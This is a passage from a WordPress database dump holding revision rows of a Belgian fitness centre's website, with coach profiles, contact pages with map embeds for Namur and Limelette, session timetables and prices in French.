style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-01-20 20:40:16', '2014-01-20 20:40:16', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(475, 1, '2015-04-21 09:03:59', '2015-04-21 09:03:59', '&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2015-04-21 09:03:59', '2015-04-21 09:03:59', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(425, 1, '2014-02-09 20:26:13', '2014-02-09 20:26:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2014-02-09 20:26:13', '2014-02-09 20:26:13', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(426, 1, '2014-02-09 20:29:50', '2014-02-09 20:29:50', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;br&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:29:50', '2014-02-09 20:29:50', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(427, 1, '2014-02-09 20:31:03', '2014-02-09 20:31:03', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n\r\n\r\n&lt;strong&gt;Réserver vos séances de Team Training en ligne :&lt;/strong&gt; &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a 